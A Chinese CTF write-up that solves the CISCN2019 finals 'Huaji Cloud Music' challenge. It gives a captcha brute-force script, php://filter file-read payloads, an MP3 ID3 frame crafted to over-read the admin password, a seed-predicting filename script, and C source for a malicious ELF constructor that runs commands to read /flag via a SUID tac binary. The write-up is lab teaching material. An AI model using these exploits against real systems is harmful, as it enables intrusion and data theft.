[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解

     分类: 个人笔记,网络安全 发布时间: 2024-11-26 17:46 18人浏览

这是在某大专CTF社团内部分享的一次赛题讲解。本次赛题引用的是CISCN2019总决赛的滑稽云音乐赛题,涉及WEB+PWN的综合应用,总体难度偏难,因此也是搭了环境之后花了较长时间复现。解题完成后,总结解题思路以及相关的知识点,与大家共享。

一、web注册突破

1.1、异常点发现

访问主页,检查HTML页面,可以看到一段注释

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图

其中 <p class="p1 p2">管理员</p>
<span><a class="a1" href="#firmware">固件更新</a></span>
是隐藏的,我们可以尝试编辑把他从注释中拿出来,F12编辑浏览器页面即可。

在底部找到固件更新的地方,点击看到需要登录的账号和密码。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图1

发现无法登录,旁边有个注册按钮,可以尝试注册。

1.2、注册验证码分析

注册页面有一行奇怪的提示 md5(code+"gOCE1HPI")\[:5\]=="69db0"

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图2

这段话与验证码相关。随意输入验证码,可以看到在检查code和calc字段是否一致。这段md5代码的含义是将一个未知的 code 字符串与固定的字符串 “gOCE1HPI” 连接起来,得到一个新的字符串。

  • md5(…):对连接后的字符串计算 MD5 哈希值,得到一个 32 位的十六进制字符串。
  • [:5]:取哈希值的前 5 位。
  • 双等号”69db0″:判断前 5 位是否等于 “69db0″。

根据平常的上网经验,一般验证码都是6位纯数字,可以编写一段简单的python脚本,遍历爆破验证码:

import hashlib

def find_code():
   target_prefix = "69db0"
   suffix = "gOCE1HPI"
   for i in range(1000000):  # 假设 code 是一个整数,可以调整范围
       code = str(i)
       combined = code + suffix
       hash_value = hashlib.md5(combined.encode()).hexdigest()
       if hash_value[:5] == target_prefix:
           return code

code = find_code()
print("Found code:", code)

运行爆破就可以得到运算结果:

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图3

将code输入至验证码,正常输入账号密码即可注册成功
PS:管理员账号已经被占用,因此需要选择一个admin之外的账号注册。

2、web登录突破

2.1、任意文件读取

注册完成,在登录后的网站中翻找线索。点开我的分享页面时,看到有对share.php发起一个奇怪的请求

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图4

检查发现这个请求是由/hotload.php?page=share页面发起的
Y292ZXIvd2VsY29tZS5wbmc=是btoa(“cover/welcome.png”)的结果,经过了一层base64加密。

在这里可以尝试任意文件读取,我们可以确定这是PHP站点,可以尝试php://filter/协议实现读取。将以下部分提前编码为base64,尝试读取share.php:php://filter/read=convert.base64-encode/resource=share.php
编码完后为cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPXNoYXJlLnBocA==

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图5

请求后返回base64加密后的PHP文本,证明可以实现任意文件读取。

再次尝试读取hotload.php,由于share.php在media文件夹内,hotload.php在网站根目录,因此使用php://filter/read=convert.base64-encode/resource=../hotload.php,base64编码后读取。
hotload.php读取结果为:

<?php
include_once 'include/config.php';
@$page=$_GET['page'];
if (isset($page)) $page=(string) $page;
if (!isset($page)||strlen($page)<=0) $page='index';
$whitelist=array('index','fm','mv','friend','disk','upload','share','favor','login','reg','feedback','firmware','search','logout','info');
if (!in_array($page,$whitelist,true)) $page='404';
include "include/$page.php";

我们在其中看到了定义文件include/config.php,以及由$whitelist数组组成的多个文件路径。

2.2、常规思路误入歧途

再次读取include/config.php,别忘了前面还要加上../组成php://filter/read=convert.base64-encode/resource=../include/config.php

<?php
ini_set('display_errors','Off');
error_reporting(0);

date_default_timezone_set("Asia/Shanghai");
ini_set('session.gc_maxlifetime',"3600");
ini_set("session.cookie_lifetime","3600");
session_start();
include 'init.php';
$_GLOBALS['dbfile']=init_config('.sqlite');
$_GLOBALS['salt']=write_config(init_config('.salt'));
$_GLOBALS['admin_password']=write_config(init_config('.passwd'));
if (strlen($_GLOBALS['dbfile'])<=0||strlen($_GLOBALS['salt'])<=0||strlen($_GLOBALS['admin_password'])<=0){
    ob_end_clean();
    die('Permission denied!');
}
$_GLOBALS['dbfile']=__DIR__.'/../config/'.$_GLOBALS['dbfile'];
?>

在这里似乎看到了一些初始定义文件,以及文件夹的位置。我们再尝试读取一下init.php:

<?php
@mkdir(__DIR__.'/../config/');
function rand_str($length = 16) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[mt_rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
function get_filename($ext){
    $files=scandir(__DIR__.'/../config/');
    foreach ($files as $file) {
        if ($file != "." && $file != "..") {
            if (substr($file,-strlen($ext))===$ext){
                return $file;
            }
        }
    }
    return '';
}
function init_config($ext){
    $file=get_filename($ext);
    if ($file==''){
        $file=rand_str(8).$ext;
        file_put_contents(__DIR__.'/../config/'.$file, '');
        if (!file_exists(__DIR__.'/../config/'.$file)){
            $file=='';
        }
    }
    return $file;
}
function read_config($file){
    return file_get_contents(__DIR__.'/../config/'.$file);
}
function write_config($file,$str = '',$length = 16){
    $content=file_get_contents(__DIR__.'/../config/'.$file);
    if ($content==''){
        if ($str=='') $str=rand_str($length);
        file_put_contents(__DIR__.'/../config/'.$file, $str);
    }
    return file_get_contents(__DIR__.'/../config/'.$file);
}
?>

分析这段代码,在init_config定义文件名的时候,中会拼接一个随机8位字符的文件名,杜绝了直接读取文件的可能。

2.3、文件读取再探

回去看看hotload.php,发现

$whitelist=array('index','fm','mv','friend','disk','upload','share','favor','login','reg','feedback','firmware','search','logout','info');
if (!in_array($page,$whitelist,true)) $page='404';
include "include/$page.php";

这里定义了数组内有多个php文件,可以逐个查看。其中显然上传的upload嫌疑比较大,有可能存在文件上传漏洞。因此我们查看include/upload.php文件如下:

<?php
if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){
    ob_end_clean();
    header('Location: /hotload.php?page=login&err=1');
    die();
}

include 'NoSQLite/NoSQLite.php';
include 'NoSQLite/Store.php';
function clean_string($str){
    $str=substr($str,0,1024);
    return str_replace("\x00","",$str);
}
if (isset($_FILES["file_data"])){
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
    }else{
        $music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3";
        if (time()-$_SESSION['timestamp']<3){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
        }
        $_SESSION['timestamp']=time();
        move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename);
        $handle = fopen($music_filename, "rb");
        if ($handle==FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
        }
        $flags = fread($handle, 3);
        fclose($handle);
        if ($flags!=="ID3"){
            unlink($music_filename);
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
        try{
            $parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
            $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_title=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
            $result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_artist=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_artist,0,2)=="\xFF\xFE"){
                @$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
                if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
            }
            $mp3_artist=base64_encode(clean_string($mp3_artist));
            $result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_album=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_album,0,2)=="\xFF\xFE"){
                @$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
                if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
            }
            $mp3_album=base64_encode(clean_string($mp3_album));
            $song=array($mp3_title,$mp3_artist,$mp3_album);
            $nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']);
            $music=$nsql->getStore('music');
            $res=$music->get($_SESSION['user']);
            if ($res===null||strlen((string)$res)<=0){
                $res=array();
            }else{
                $res=json_decode($res,TRUE);
            }
            array_push($res,$song);
            $res=json_encode($res);
            $music->set($_SESSION['user'],$res);
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album)));
        }catch(Error $e){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
    }
}else{
    if (isset($_SERVER['CONTENT_TYPE'])){
        if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
        }
    }
}
?>

配合查看相关的upload页面可以看到上传音乐页面,限制只能上传MP3文件:

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图6

分析上面的源码,Upload其中这段代码定义了共享库结构和函数,其中有个password字段比较显眼,是一个需要着重检查的目标:

$parser = FFI::cdef("
    struct Frame{
        int size;
        char * data;
    };
    struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");

这里使用FFI定义了一个C语言的结构体Frame,包含一个整数size和一个指向字符的指针data,表示解析后的数据。parse函数用于根据password、classname和filename获取MP3文件的信息。parser.so是外部的共享库文件。再往下看PHP代码,后面的段落调用了一个 C 函数 parser->parse,返回的 $result 是一个 C 数据结构,包含以下字段:

  • $result->size:元数据的大小。
  • $result->data:元数据内容的指针。

且限制每个元数据大小为 0x130 字节(304 字节)。

           $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_title=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
            $result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_artist=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_artist,0,2)=="\xFF\xFE"){
                @$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
                if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
            }
            $mp3_artist=base64_encode(clean_string($mp3_artist));
            $result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_album=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_album,0,2)=="\xFF\xFE"){
                @$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
                if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
            }

2.4、upload相关.so文件逆向分析

由于我们上传的MP3文件是调用parser.so外部共享库文件解析的,因此我们需要看一下.so文件究竟做了些什么。
我们根据so文件路径/../lib/parser.so,设置resource=../lib/parser.so读出文件内容。由于读出的是一个二进制文件,因此可以编写python脚本写回base64文件:

import base64
#  Base64 编码数据存储在字符串变量 `base64_data` 中
base64_data = "你的base64编码字符串"
# 将 Base64 编码数据解码为二进制数据
binary_data = base64.b64decode(base64_data)
# 将二进制数据保存为 .so 文件
with open("parser.so", "wb") as file:
   file.write(binary_data)

保存后就可以用IDA打开.so文件了。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图7

IDA打开分析.so文件。.so文件会从init函数开始,这里读出是init_proc函数。F5查看这个函数伪代码,可以看到我们需要的passwd关键字。在passwd关键字之前还定义了frame_data。由于这些变量还没有实际定义,因此会存储于bss段中。且按定义顺序存储。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图8
其中&passwd在bss段中为93c0,而上面的&frame_data在92c0。

  • frame_data 占用了 0x100 字节(256 字节),从 92C0 到 93C0 是连续的。
  • passwd 的起始地址为 93C0,说明它紧跟在 frame_data 之后。
  • 如果对 frame_data 的数据写入超过了 0x100 字节,就可能越界到 passwd 的地址空间。由于PHP中的文件限制长度为0x130字节,因此有0x30的溢出读空间。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图9
[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图10

对其ctrl+x寻找_frame_data交叉引用,在view中可以看到_frame_data_ptr,下面8FE8部分还定义了frame_data_ptr。查找frame_data_ptr的交叉引用,可以看到read_title、read_album、read_artist等函数都访问了该变量。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图11

frame_data_ptr 出现在 .got 段,它通常是链接器生成的,专门用于动态链接时对全局变量的引用。它存储的是全局变量 frame_data 的实际地址(例如 _frame_data 的地址)。
程序运行时,通过 frame_data_ptr 访问 frame_data 的内存地址。如果 frame_data 被动态加载模块引用,或者变量的实际地址在运行时确定,frame_data_ptr 提供了间接访问的机制。

  • init_proc:程序初始化阶段,会设置 frame_data 的值或地址。
  • read_title、read_album 等函数也间接通过 frame_data_ptr 访问或操作 frame_data。也就提供了可以栈溢出的可能性。

而Read_title函数如下,其他两个read函数功能也类似,只是读取的信息不同:

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图12

这段伪代码的功能可以总结为:
1.从给定的 a1(可以推测为是MP3文件)中加载一个标签。
2.提取标签中的标题信息,并解析标题的帧内容。
3.根据解析结果,确定帧数据的大小(frame_size),并将帧数据复制到全局缓冲区 frame_data。
4.返回全局缓冲区 frame_data 的地址。
如果 frame_data 的实际大小不足以容纳 frame_size % 256 字节的数据,则可能发生缓冲区溢出。

2.5、构造MP3头伪造文件

现在我们基本知道了parser.so文件是如何解析MP3文件的,那么接下来我们需要详细了解一下MP3文件的结构。MP3 文件主要由两部分组成:
元数据(Metadata)
包含文件的非音频信息,如标题、艺术家、专辑信息等。通常通过 ID3 标签存储在文件的开头(ID3v2)或结尾(ID3v1)。
音频数据(Audio Frames)
包含实际的音频信息,分为一个接一个的帧,每帧是可独立解码的音频单元。
其中常用的ID3V2标签格式如下:

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图13

打开一个带有标题、艺术家、标题等标签的MP3文件,我们在这里可以看到FRAME的实际十六进制结构,其中54 50 45 31是TPE1,代表ID。后面00 00 00 04是size大小,代表TPE1字段的长度,后面32 33 34是实际的TPE1字段内容。我们可以将size大小手动调整,其他保持不变,从而让.so文件发生缓冲区溢出读。
另外需要注意的是,由于size调整变大之后,后面的数据会被溢出读,因此只能修改最后一个frame的内容。如果修改前面的frame,会导致后面的frame无法正确读取导致上传失败。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图14

我们手动将size部分改成我们之前所解析的0x0130,并保存。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图15

将MP3文件上传,就可以溢出读出管理员密码信息,原本TPE1标签内容后面多的部分就是管理员密码:

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图16

接下来就可以成功登录管理员账号(admin),并访问固件更新页面了

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图17

3、Firmware固件上传页面读取flag

继续利用文件读取漏洞,读取一下/include/firmware.php的php源码,PHP部分代码如下:

<?php
if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){
    ob_end_clean();
    header('Location: /hotload.php?page=login&err=1');
    die();
}
if ($_SESSION['role']!='admin'){
    $padding='Lorem ipsum dolor sit amet, consectetur adipisicing elit.';
    for($i=0;$i<10;$i++) $padding.=$padding;
    die('<div><div class="container" style="margin-top:30px"><h3 style="color:red;margin-bottom:15px;">只有管理员权限才能访问!</h3></div><p style="visibility: hidden">'.$padding.'</p></div>');
}

if (isset($_FILES["file_data"])){
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'上传出错,固件文件最大支持 1MB。')));
    }else{
        mt_srand(time());
        $firmware_filename=md5(mt_rand().$_SESSION['user']);
        $firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";
        if (time()-$_SESSION['timestamp']<3){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
        }
        $_SESSION['timestamp']=time();
        move_uploaded_file($_FILES["file_data"]["tmp_name"], $firmware_filename);
        $handle = fopen($firmware_filename, "rb");
        if ($handle==FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
        }
        $flags = fread($handle, 4);
        fclose($handle);
        if ($flags!=="\x7fELF"){
            unlink($firmware_filename);
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 ELF 文件。')));
        }
        ob_end_clean();
        die(json_encode(array('status'=>1,'info'=>'上传成功!')));
    }
}else{
    if (isset($_SERVER['CONTENT_TYPE'])){
        if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
        }
    }
}
@$path=$_POST['path'];
function clean_string($str){
    $str=str_replace("\\","",$str);
    $str=str_replace("/","",$str);
    $str=str_replace(".","",$str);
    $str=str_replace(";","",$str);
    return substr($str,0,32);
}
if (isset($path)){
    $path=clean_string(trim((string) $path));
    if (strlen($path)<=0||strlen($path)>64){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'输入格式或长度不符合规定!')));
    }else{
        $firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
        if (!file_exists($firmware_filename)){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'固件文件不存在!')));
        }else{
            try{
                $elf = FFI::cdef("
                    extern char * version;
                ", $firmware_filename);
                $version=(string) FFI::string($elf->version);
                ob_end_clean();
                die(json_encode(array('status'=>1,'info'=>'固件版本号:'.$version)));
            }catch(Error $e){
                ob_end_clean();
                die(json_encode(array('status'=>0,'info'=>'加载固件文件时发生错误!')));
            }
        }
    }
}
?>

这里的try部分使用了FFI::cdef通过elf文件读取version缓冲区,也就存在了远程命令执行的可能。其中代码中定义了文件只能上传.elf格式(但实际上只检查了文件十六进制开头是否为ELF,实际上是可以绕过的),文件名由一个随机数拼接user字段构成,最后计算MD5作为文件名。可以注意到随机数种子为time()指定,而该文件触发的时间,可以通过上传文件时服务器返回的时间得出,也就存在爆破的可能性:
[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图18
[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图19

而后面拼接的$_SESSION\['user'\]显然是在登录的时候服务器赋予的值。我们可以读取login.php可以看到在登录时$_SESSION\['user'\]=$username; user字段被设置为传的username值,也就是admin。

<?php
if (isset($_SESSION['user'])&&strlen($_SESSION['user'])>0){
    ob_end_clean();
    header('Location: /hotload.php?page=disk');
    die();
}

include 'NoSQLite/NoSQLite.php';
include 'NoSQLite/Store.php';
@$username=$_POST['username'];
@$password=$_POST['password'];
function login($globals,$un,$pw){
    $nsql=new NoSQLite\NoSQLite($globals['dbfile']);
    $users=$nsql->getStore('users');
    $res=$users->get($un);
    if (isset($res)&&strlen((string)$res)>0&&$res===md5($globals['salt'].$pw)){
        return 1;
    }else{
        return 0;
    }
    return 0;
}
if (isset($username)&&isset($password)){
    $username=trim((string) $username);
    $password=(string) $password;
    if (strlen($username)<4||strlen($password)<8||strlen($username)>16||strlen($password)>32){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'输入格式或长度不符合规定!')));
    }else{
        if (login($_GLOBALS,$username,$password)===1){
            $_SESSION['user']=$username;
            $_SESSION['role']='user';
            $_SESSION['timestamp']=time();
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'登录成功!')));
        }else if ($username==='admin'&&$password===$_GLOBALS['admin_password']){
            $_SESSION['user']=$username;
            $_SESSION['role']='admin';
            $_SESSION['timestamp']=time();
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'登录成功!')));
        }else{
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'用户名或密码不正确!')));
        }
    }
}
?>

因此,我们可以编写一段PHP代码,尝试爆破文件名:
这里不用python的原因是由于伪随机数计算问题,尽量与源代码保持一致,以防止不同算法产生的不同随机数

<?php
function generate_filenames($start_time, $end_time, $user) {
    $results = [];
    for ($time = $start_time; $time <= $end_time; $time++) {
        mt_srand($time);
        $rand = mt_rand();
        $filename = md5($rand . $user);
        $results[] = $filename;
    }
    return $results;
}

// 已知信息
$user = "admin";  // 固定值
$date = strtotime("Wed, 20 Nov 2024 07:57:09 GMT");  // 已知时间
$time_range = 100;  // 时间偏移范围 ±100 秒
// 开始暴力破解
$start_time = $date - $time_range;
$end_time = $date + $time_range;
$possible_filenames = generate_filenames($start_time, $end_time, $user);
foreach ($possible_filenames as $filename) {
    echo $filename . ".elf\n";
}
?>

执行完毕后,把所有计算出的md5文件名放到bp中爆破,可以看到能爆破出结果。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图20

接下来就是如何构造出一个可以利用的elf文件了。elf实际上和.so文件类似,是一个动态库文件,我们可以在linux中直接使用gcc编译。我们编写一个.c文件,通过__attribute__((constructor))函数在加载文件时直接执行命令,通过popen执行代码,并将其写入version缓冲区中,源码如下:

#include <stdio.h>
#include <string.h>

char _version[0x130];
char *version = (char *)&_version;
__attribute__((constructor)) void fun() {
    memset(version, 0, 0x130); // 初始化 version 缓冲区为 0
    FILE *fp = popen("ls", "r"); // 执行系统命令 "ls"
    if (fp == NULL) 
    {
        // 如果 popen 失败,直接填充 version 缓冲区为默认值
        strncpy(version, "111111111111", 0x100); 
    }
    fread(version, 1, 0x100, fp); // 读取命令输出到 version 缓冲区
    pclose(fp); // 关闭文件指针
}

在linux下使用以下命令编译即可:gcc -shared -o firmware.elf -fPIC 1111.c
上传后,配合爆破文件名就可以得到命令执行结果。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图21

然后修改.c文件中的命令即可执行任意代码,比如我们改为ls / -ll 查看根目录

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图22

可以看到flag文件,但是只有root有权限查看,我们是 www-data ⽤户,普通用户没有任何对其的访问权限。因此我们需要某种可以具有suid权限的进程去读取他。
我们可以查看以下有什么文件是具有suid权限位可以利用的,通过以下命令可以查看:
find / -perm -4000 2>/dev/null
将命令写入我们之前的c代码中,编译成elf上传,可以看到结果:其中/usr/bin/tac是一个suid权限的命令,且tac的功能是显示文件的全部内容(反向显示)。

[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图23

因此我们直接把elf源代码中的执行命令改为/usr/bin/tac /flag,编译后上传,即可读出flag:
[CISCN2019 总决赛 Day1 Web1]滑稽云音乐Writeup详解插图24


参考链接:
国赛2019决赛Web1 – 滑稽云音乐


上一篇文章:

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注